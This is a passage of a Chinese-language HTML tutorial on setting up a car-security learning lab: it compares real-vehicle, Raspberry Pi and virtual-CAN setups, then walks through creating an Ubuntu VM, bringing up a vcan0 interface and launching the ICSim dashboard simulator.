x=\"400\" y=\"140\" text-anchor=\"middle\" font-size=\"13\" fill=\"#666\" font-weight=\"bold\"><tspan leaf=\"\">VS<\/tspan><\/text><text x=\"400\" y=\"160\" text-anchor=\"middle\" font-size=\"8\" fill=\"#888\"><tspan leaf=\"\">\u5bf9\u6bd4<\/tspan><\/text><text x=\"600\" y=\"28\" text-anchor=\"middle\" font-size=\"13\" fill=\"#2e7d32\" font-weight=\"bold\"><tspan leaf=\"\">\ud83d\udcbe \u865a\u62dfCAN\uff08vcan \u00b7 Linux\u5185\u6838\uff09<\/tspan><\/text><rect x=\"510\" y=\"42\" width=\"110\" height=\"55\" rx=\"6\" fill=\"#e8f5e9\" stroke=\"#2e7d32\" stroke-width=\"2\"><\/rect><text x=\"565\" y=\"64\" text-anchor=\"middle\" font-size=\"10\" fill=\"#1b5e20\" font-weight=\"bold\"><tspan leaf=\"\">CAN Controller<\/tspan><\/text><text x=\"565\" y=\"78\" text-anchor=\"middle\" font-size=\"9\" fill=\"#888\"><tspan leaf=\"\">Kernel Driver<\/tspan><\/text><line x1=\"565\" y1=\"97\" x2=\"565\" y2=\"118\" stroke=\"#2e7d32\" stroke-width=\"2\" stroke-dasharray=\"5,3\"><\/line><polygon points=\"565,118 560,108 570,108\" fill=\"#2e7d32\"><\/polygon><ellipse cx=\"565\" cy=\"138\" rx=\"75\" ry=\"26\" fill=\"#c8e6c9\" stroke=\"#2e7d32\" stroke-width=\"2\" stroke-dasharray=\"6,3\"><\/ellipse><text x=\"565\" y=\"133\" text-anchor=\"middle\" font-size=\"12\" fill=\"#1b5e20\" font-weight=\"bold\"><tspan leaf=\"\">vcan0<\/tspan><\/text><text x=\"565\" y=\"148\" text-anchor=\"middle\" font-size=\"8\" fill=\"#2e7d32\"><tspan leaf=\"\">\u5185\u5b58 \u00b7 Ring Buffer<\/tspan><\/text><rect x=\"510\" y=\"180\" width=\"110\" height=\"22\" rx=\"4\" fill=\"#e8f5e9\" stroke=\"#2e7d32\" stroke-width=\"1.5\"><\/rect><text x=\"565\" y=\"195\" text-anchor=\"middle\" font-size=\"9\" fill=\"#1b5e20\"><tspan leaf=\"\">icsim\uff08\u6a21\u62df\u5668\uff09<\/tspan><\/text><text x=\"565\" y=\"218\" text-anchor=\"middle\" font-size=\"9\" fill=\"#2e7d32\"><tspan leaf=\"\">\u2705 \u96f6\u6210\u672c \u00b7 \u96f6\u98ce\u9669<\/tspan><\/text><text x=\"565\" y=\"230\" text-anchor=\"middle\" font-size=\"8\" fill=\"#888\"><tspan leaf=\"\">\u5b8c\u5168\u517c\u5bb9\u6240\u6709CAN\u5de5\u5177<\/tspan><\/text><rect x=\"200\" y=\"255\" width=\"100\" height=\"24\" rx=\"12\" fill=\"#1565c0\"><\/rect><text x=\"250\" y=\"271\" text-anchor=\"middle\" font-size=\"10\" fill=\"white\"><tspan leaf=\"\">cansend<\/tspan><\/text><rect x=\"310\" y=\"255\" width=\"100\" height=\"24\" rx=\"12\" fill=\"#2e7d32\"><\/rect><text x=\"360\" y=\"271\" text-anchor=\"middle\" font-size=\"10\" fill=\"white\"><tspan leaf=\"\">candump<\/tspan><\/text><rect x=\"420\" y=\"255\" width=\"100\" height=\"24\" rx=\"12\" fill=\"#6a1b9a\"><\/rect><text x=\"470\" y=\"271\" text-anchor=\"middle\" font-size=\"10\" fill=\"white\"><tspan leaf=\"\">cansniffer<\/tspan><\/text><text x=\"400\" y=\"248\" text-anchor=\"middle\" font-size=\"8\" fill=\"#888\"><tspan leaf=\"\">\u2193 \u5168\u90e8\u517c\u5bb9\u4e24\u79cd\u63a5\u53e3 \u2193<\/tspan><\/text><\/svg><\/figure>\n<section><span leaf=\"\"><br  \/><\/span><\/section>\n<h3 style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 16px;color: rgb(13, 71, 161);margin-top: 28px;padding-bottom: 6px;border-bottom: 1px dashed rgb(187, 222, 251);\"><span leaf=\"\"><span textstyle=\"\" style=\"font-weight: bold;\">3.1 \u4e09\u79cd\u65b9\u6848\u5bf9\u6bd4<\/span><\/span><\/h3>\n<table style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;width: 680px;border-collapse: collapse;margin: 16px 0px;font-size: 14px;\">\n<tbody>\n<tr style=\"background: rgb(21, 101, 192);color: rgb(255, 255, 255);font-weight: 600;\">\n<th style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;text-align: left;\">\n<section style=\"text-align: center;\"><span leaf=\"\"><span textstyle=\"\" style=\"color: rgb(0, 82, 255);\">\u65b9\u6848<\/span><\/span><\/section>\n<\/th>\n<th style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;text-align: center;\">\n<section style=\"text-align: center;\"><span leaf=\"\"><span textstyle=\"\" style=\"color: rgb(0, 82, 255);\">\u6210\u672c<\/span><\/span><\/section>\n<\/th>\n<th style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;text-align: center;\">\n<section style=\"text-align: center;\"><span leaf=\"\"><span textstyle=\"\" style=\"color: rgb(0, 82, 255);\">\u771f\u5b9e\u6027<\/span><\/span><\/section>\n<\/th>\n<th style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;text-align: center;\">\n<section style=\"text-align: center;\"><span leaf=\"\"><span textstyle=\"\" style=\"color: rgb(0, 82, 255);\">\u98ce\u9669<\/span><\/span><\/section>\n<\/th>\n<th style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;text-align: center;\">\n<section style=\"text-align: center;\"><span leaf=\"\"><span textstyle=\"\" style=\"color: rgb(0, 82, 255);\">\u63a8\u8350\u5ea6<\/span><\/span><\/section>\n<\/th>\n<\/tr>\n<tr>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section><span leaf=\"\">\u771f\u5b9e\u8f66\u8f86 + OBD\u8bbe\u5907<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;text-align: center;\">\n<section><span leaf=\"\">\u9ad8\uff08\u4e07\u5143\u7ea7\uff09<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;text-align: center;\">\n<section><span leaf=\"\">\u2b50\u2b50\u2b50\u2b50\u2b50<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;text-align: center;color: rgb(192, 57, 43);\">\n<section><span leaf=\"\">\u26a0\ufe0f \u6709\u7834\u574f\u98ce\u9669<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;text-align: center;\">\n<section><span leaf=\"\">\u2b50\u2b50<\/span><\/section>\n<\/td>\n<\/tr>\n<tr style=\"background: rgb(245, 247, 255);\">\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section><span leaf=\"\">\u6811\u8393\u6d3e + CAN Hat<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;text-align: center;\">\n<section><span leaf=\"\">\u4e2d\uff08\u7ea6500\u5143\uff09<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;text-align: center;\">\n<section><span leaf=\"\">\u2b50\u2b50\u2b50\u2b50<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;text-align: center;color: rgb(230, 126, 34);\">\n<section><span leaf=\"\">\u26a0\ufe0f \u9700\u6ce8\u610f\u9694\u79bb<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;text-align: center;\">\n<section><span leaf=\"\">\u2b50\u2b50\u2b50\u2b50<\/span><\/section>\n<\/td>\n<\/tr>\n<tr style=\"background: rgb(240, 255, 240);\">\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section><span leaf=\"\">\u865a\u62df\u673a +&nbsp;<\/span><span style=\"color: rgb(46, 125, 50);font-weight: 600;\"><span leaf=\"\">vcan<\/span><\/span><span leaf=\"\">\uff08\u63a8\u8350\u65b0\u624b\uff09<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;text-align: center;\">\n<section><span leaf=\"\">\u96f6\u6210\u672c<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;text-align: center;\">\n<section><span leaf=\"\">\u2b50\u2b50\u2b50<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;text-align: center;color: rgb(39, 174, 96);\">\n<section><span leaf=\"\">\u2705 \u96f6\u98ce\u9669<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;text-align: center;color: rgb(39, 174, 96);font-weight: bold;\">\n<section><span leaf=\"\">\u2b50\u2b50\u2b50\u2b50\u2b50<\/span><\/section>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h3 style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 16px;color: rgb(13, 71, 161);margin-top: 28px;padding-bottom: 6px;border-bottom: 1px dashed rgb(187, 222, 251);\"><span leaf=\"\"><span textstyle=\"\" style=\"font-weight: bold;\">3.2 \u8f6f\u4ef6\u65b9\u6848\uff1aUbuntu\u865a\u62df\u673a<\/span><\/span><\/h3>\n<h4 style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(21, 101, 192);margin-top: 20px;font-weight: 600;\"><span leaf=\"\">\u7b2c\u4e00\u6b65\uff1a\u5b89\u88c5\u865a\u62df\u673a\u8f6f\u4ef6<\/span><\/h4>\n<p style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 2em;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;\"><span leaf=\"\">\u63a8\u8350\u4f7f\u7528VirtualBox\uff08\u514d\u8d39\u5f00\u6e90\uff09\u6216VMware Workstation Player\u3002\u5148\u5b89\u88c5\u865a\u62df\u673a\u8f6f\u4ef6\uff0c\u7136\u540e\u4e0b\u8f7dUbuntu 22.04 LTS\u684c\u9762\u7248\u955c\u50cf\uff08\u4e0b\u8f7d\u5730\u5740\uff1aubuntu.com\/download\/desktop\uff09\u3002<\/span><\/p>\n<section><span leaf=\"\"><br  \/><\/span><\/section>\n<p style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;\"><span leaf=\"\">\u65b0\u5efa\u865a\u62df\u673a\u53c2\u6570\u5efa\u8bae\uff1a<\/span><\/p>\n<section><span leaf=\"\"><br  \/><\/span><\/section>\n<figure style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 24px 0px;background: rgb(26, 26, 46);border: 1px solid rgb(51, 51, 51);border-radius: 10px;padding: 20px;text-align: center;\">\n<p style=\"text-align: center;\"><span leaf=\"\"><br  \/><\/span><\/p>\n<p style=\"text-align: left;\"><span style=\"color: rgb(139, 148, 158);font-size: 11px;margin-left: 8px;\"><span leaf=\"\">ubuntu@car-security:~\/ICSim<\/span><\/span><\/p>\n<p style=\"text-align: left;\"><span style=\"color: rgb(63, 185, 80);\"><span leaf=\"\">user@ubuntu<\/span><\/span><span style=\"color: rgb(139, 148, 158);\"><span leaf=\"\">:~\/ICSim$<\/span><\/span><span leaf=\"\">&nbsp;<\/span><span style=\"color: rgb(121, 192, 255);\"><span leaf=\"\">modprobe vcan<\/span><\/span><\/p>\n<p style=\"text-align: left;\"><span style=\"color: rgb(63, 185, 80);\"><span leaf=\"\">user@ubuntu<\/span><\/span><span style=\"color: rgb(139, 148, 158);\"><span leaf=\"\">:~\/ICSim$<\/span><\/span><span leaf=\"\">&nbsp;<\/span><span style=\"color: rgb(121, 192, 255);\"><span leaf=\"\">ip link add dev vcan0 type vcan<\/span><\/span><\/p>\n<p style=\"text-align: left;\"><span style=\"color: rgb(63, 185, 80);\"><span leaf=\"\">user@ubuntu<\/span><\/span><span style=\"color: rgb(139, 148, 158);\"><span leaf=\"\">:~\/ICSim$<\/span><\/span><span leaf=\"\">&nbsp;<\/span><span style=\"color: rgb(121, 192, 255);\"><span leaf=\"\">ip link set vcan0 up<\/span><\/span><\/p>\n<p style=\"text-align: left;\"><span style=\"background: rgb(35, 134, 54);color: rgb(255, 255, 255);padding: 1px 8px;border-radius: 3px;font-size: 11px;\"><span leaf=\"\">OK<\/span><\/span><\/p>\n<p style=\"text-align: left;\"><span style=\"color: rgb(63, 185, 80);\"><span leaf=\"\">user@ubuntu<\/span><\/span><span style=\"color: rgb(139, 148, 158);\"><span leaf=\"\">:~\/ICSim$<\/span><\/span><span leaf=\"\">&nbsp;<\/span><span style=\"color: rgb(121, 192, 255);\"><span leaf=\"\">ip link show vcan0<\/span><\/span><\/p>\n<p style=\"text-align: left;\"><span leaf=\"\"><span textstyle=\"\" style=\"color: rgb(255, 255, 255);\">3: vcan0: &lt;VIRTUAL,NOARP,UP,LOWER_UP&gt; mtu 16 qdisc noop state UP mode DEFAULT group default qlen 1000<\/span><\/span><\/p>\n<p style=\"text-align: left;\"><span style=\"color: rgb(86, 211, 100);font-weight: bold;\"><span leaf=\"\">-&gt; state UP<\/span><\/span><span leaf=\"\">&nbsp;<\/span><span style=\"color: rgb(136, 136, 136);\"><span leaf=\"\">&lt;- \u6210\u529f\u6fc0\u6d3b!<\/span><\/span><\/p>\n<p style=\"text-align: left;\"><span style=\"color: rgb(63, 185, 80);\"><span leaf=\"\">user@ubuntu<\/span><\/span><span style=\"color: rgb(139, 148, 158);\"><span leaf=\"\">:~\/ICSim$<\/span><\/span><span leaf=\"\">&nbsp;<\/span><span style=\"color: rgb(121, 192, 255);\"><span leaf=\"\">.\/icsim vcan0 &amp;<\/span><\/span><span leaf=\"\">&nbsp;<\/span><span style=\"color: rgb(136, 136, 136);font-size: 11px;\"><span leaf=\"\"># \u542f\u52a8\u4eea\u8868\u76d8\u6a21\u62df<\/span><\/span><\/p>\n<p style=\"text-align: left;\"><span style=\"color: rgb(63, 185, 80);\"><span leaf=\"\">user@ubuntu<\/span><\/span><span style=\"color: rgb(139, 148, 158);\"><span leaf=\"\">:~\/ICSim$<\/span><\/span><span leaf=\"\">&nbsp;<\/span><span style=\"color: rgb(121, 192, 255);\"><span leaf=\"\">.\/controls vcan0 &amp;<\/span><\/span><span leaf=\"\">&nbsp;<\/span><span style=\"color: rgb(136, 136, 136);font-size: 11px;\"><span leaf=\"\"># \u542f\u52a8\u63a7\u5236\u5668<\/span><\/span><\/p>\n<p style=\"text-align: left;\"><span leaf=\"\">\ud83d\udca1&nbsp;<\/span><b style=\"color: rgb(170, 170, 170);\"><span leaf=\"\">\u6210\u529f\u6807\u5fd7\uff1a<\/span><\/b><span style=\"color: rgb(86, 211, 100);\"><span leaf=\"\">state UP<\/span><\/span><span leaf=\"\">&nbsp;<span textstyle=\"\" style=\"color: rgb(255, 255, 255);\">+ mtu 16 -&gt; \u7acb\u5373\u8fd0\u884c<\/span>&nbsp;<\/span><span style=\"background: rgb(33, 38, 45);color: rgb(121, 192, 255);padding: 1px 5px;border-radius: 3px;\"><span leaf=\"\">.\/icsim vcan0<\/span><\/span><span leaf=\"\">&nbsp;<span textstyle=\"\" style=\"color: rgb(255, 255, 255);\">\u6253\u5f00\u4eea\u8868\u76d8\uff01<\/span><\/span><\/p>\n<\/figure>\n<section><span leaf=\"\"><br  \/><\/span><\/section>\n<ul style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 14px;color: rgb(85, 85, 85);padding-left: 20px;\" class=\"list-paddingleft-1\">\n<li>\n<section><span leaf=\"\">CPU\uff1a2\u6838\u4ee5\u4e0a\uff08\u52fe\u9009&#8221;\u542f\u7528\u5d4c\u5957\u5206\u9875&#8221;\uff09<\/span><\/section>\n<\/li>\n<li>\n<section><span leaf=\"\">\u5185\u5b58\uff1a4GB\u4ee5\u4e0a<\/span><\/section>\n<\/li>\n<li>\n<section><span leaf=\"\">\u786c\u76d8\uff1a40GB\u4ee5\u4e0a<\/span><\/section>\n<\/li>\n<li>\n<section><span leaf=\"\">\u7f51\u7edc\uff1a\u6865\u63a5\u6a21\u5f0f\uff08\u65b9\u4fbf\u540e\u7eed\u5b89\u88c5\u5de5\u5177\uff09<\/span><\/section>\n<\/li>\n<\/ul>\n<p style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;\"><span leaf=\"\">\u5b89\u88c5\u5168\u7a0b&#8221;\u4e0b\u4e00\u6b65&#8221;\u5373\u53ef\uff0c\u7ea615-20\u5206\u949f\u5b8c\u6210Ubuntu\u684c\u9762\u7cfb\u7edf\u5b89\u88c5\u3002<\/span><\/p>\n<section><span leaf=\"\"><br  \/><\/span><\/section>\n<h4 style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(68, 68, 68);margin-top: 20px;\"><span leaf=\"\" style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(21, 101, 192);font-weight: 600;\">\u7b2c\u4e8c\u6b65\uff1a\u7406\u89e3\u865a\u62dfCAN<\/span><span leaf=\"\">\uff08<\/span><span style=\"color: rgb(46, 125, 50);font-weight: 600;\"><span leaf=\"\">vcan<\/span><\/span><span leaf=\"\">\uff09<\/span><span leaf=\"\" style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(21, 101, 192);font-weight: 600;\">\u7684\u6982\u5ff5<\/span><\/h4>\n<p style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 2em;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;\"><span leaf=\"\">\u5728\u52a8\u624b\u5b89\u88c5\u4e4b\u524d\uff0c\u5148\u7406\u89e3\u4e00\u4e2a\u5173\u952e\u6982\u5ff5\uff1a<\/span><strong><span leaf=\"\">\u4ec0\u4e48\u662fvcan\uff1f<\/span><\/strong><\/p>\n<p style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 2em;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;\"><span style=\"color: rgb(21, 101, 192);font-weight: 600;\"><span leaf=\"\">CAN\u603b\u7ebf<\/span><\/span><span leaf=\"\">\u9700\u8981\u786c\u4ef6\uff08CAN\u63a7\u5236\u5668+\u6536\u53d1\u5668\uff09\u624d\u80fd\u7269\u7406\u8fde\u63a5\u3002\u4f46Linux\u5185\u6838\u63d0\u4f9b\u4e86\u4e00\u4e2a&#8221;\u865a\u62dfCAN&#8221;\u6a21\u5757\u2014\u2014<\/span><strong><span style=\"color: rgb(46, 125, 50);font-weight: 600;\"><span leaf=\"\">vcan<\/span><\/span><\/strong><span leaf=\"\">\uff0c\u5b83\u6a21\u62df\u51fa\u4e00\u6761\u5b8c\u5168\u5b58\u5728\u4e8e\u5185\u5b58\u4e2d\u7684&#8221;\u5047&#8221;<\/span><span style=\"color: rgb(21, 101, 192);font-weight: 600;\"><span leaf=\"\">CAN\u603b\u7ebf<\/span><\/span><span leaf=\"\">\uff0c\u6240\u6709\u6570\u636e\u5728\u7cfb\u7edf\u5185\u6838\u5c42\u9762\u6d41\u8f6c\uff0c\u4e0d\u9700\u8981\u4efb\u4f55\u7269\u7406\u786c\u4ef6\u3002<\/span><\/p>\n<p style=\"margin: 0px 0px 12px;font-weight: bold;color: rgb(51, 51, 51);text-align: center;\"><span leaf=\"\">\ud83d\udd27&nbsp;<span textstyle=\"\" style=\"color: rgb(0, 82, 255);\">\u6982\u5ff5\u5bf9\u6bd4\uff1a\u7269\u7406CAN vs \u865a\u62dfCAN<\/span><\/span><\/p>\n<table style=\"width: 638.667px;border-collapse: collapse;font-size: 13px;\">\n<tbody>\n<tr style=\"background: rgb(232, 244, 232);\">\n<th style=\"border: 1px solid rgb(204, 204, 204);padding: 8px;text-align: left;\">\n<section><span leaf=\"\">\u5bf9\u6bd4\u9879<\/span><\/section>\n<\/th>\n<th style=\"border: 1px solid rgb(204, 204, 204);padding: 8px;text-align: center;\">\n<section><span leaf=\"\">\u7269\u7406CAN<\/span><\/section>\n<\/th>\n<th style=\"border: 1px solid rgb(204, 204, 204);padding: 8px;text-align: center;\">\n<section><span leaf=\"\">\u865a\u62dfCAN\uff08<\/span><span style=\"color: rgb(46, 125, 50);font-weight: 600;\"><span leaf=\"\">vcan<\/span><\/span><span leaf=\"\">\uff09<\/span><\/section>\n<\/th>\n<\/tr>\n<tr>\n<td style=\"border: 1px solid rgb(204, 204, 204);padding: 8px;\">\n<section><span leaf=\"\">\u9700\u8981\u786c\u4ef6<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(204, 204, 204);padding: 8px;text-align: center;\">\n<section><span leaf=\"\">\u2705 \u9700\u8981\uff08CAN\u63a7\u5236\u5668\uff09<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(204, 204, 204);padding: 8px;text-align: center;\">\n<section><span leaf=\"\">\u274c \u4e0d\u9700\u8981<\/span><\/section>\n<\/td>\n<\/tr>\n<tr style=\"background: rgb(245, 247, 255);\">\n<td style=\"border: 1px solid rgb(204, 204, 204);padding: 8px;\">\n<section><span leaf=\"\">\u8fde\u63a5\u771f\u5b9e\u8f66\u8f86<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(204, 204, 204);padding: 8px;text-align: center;\">\n<section><span leaf=\"\">\u2705 \u53ef\u4ee5<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(204, 204, 204);padding: 8px;text-align: center;\">\n<section><span leaf=\"\">\u274c \u4e0d\u53ef\u4ee5<\/span><\/section>\n<\/td>\n<\/tr>\n<tr>\n<td style=\"border: 1px solid rgb(204, 204, 204);padding: 8px;\">\n<section><span leaf=\"\">\u9002\u5408\u5b66\u4e60\u6d4b\u8bd5<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(204, 204, 204);padding: 8px;text-align: center;\">\n<section><span leaf=\"\">\u26a0\ufe0f \u6709\u98ce\u9669<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(204, 204, 204);padding: 8px;text-align: center;color: rgb(39, 174, 96);font-weight: bold;\">\n<section><span leaf=\"\">\u2705 \u96f6\u98ce\u9669\uff0c\u5b8c\u7f8e<\/span><\/section>\n<\/td>\n<\/tr>\n<tr style=\"background: rgb(245, 247, 255);\">\n<td style=\"border: 1px solid rgb(204, 204, 204);padding: 8px;\">\n<section><span leaf=\"\">\u5de5\u5177\u5b8c\u5168\u517c\u5bb9<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(204, 204, 204);padding: 8px;text-align: center;\">\n<section><span leaf=\"\">\u2705 \u5b8c\u5168\u517c\u5bb9<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(204, 204, 204);padding: 8px;text-align: center;\">\n<section><span leaf=\"\">\u2705 \u5b8c\u5168\u517c\u5bb9<\/span><\/section>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;\"><span leaf=\"\">\u7b80\u5355\u7406\u89e3\uff1a<\/span><strong><span leaf=\"\">vcan\u5c31\u50cfVirtualBox\u865a\u62df\u51fa\u7684\u7535\u8111\u2014\u2014vcan0\u5c31\u662f\u4e00\u6761&#8221;\u865a\u62df&#8221;\u51fa\u6765\u7684<\/span><span style=\"color: rgb(21, 101, 192);font-weight: 600;\"><span leaf=\"\">CAN\u603b\u7ebf<\/span><\/span><span leaf=\"\">\uff0c\u6240\u6709\u5de5\u5177\uff08candump\u3001cansend\u3001cansniffer\uff09\u5b8c\u5168\u517c\u5bb9\uff0c\u4e0d\u9700\u8981\u4efb\u4f55\u4fee\u6539\u3002<\/span><\/strong><\/p>\n<h4 style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(68, 68, 68);margin-top: 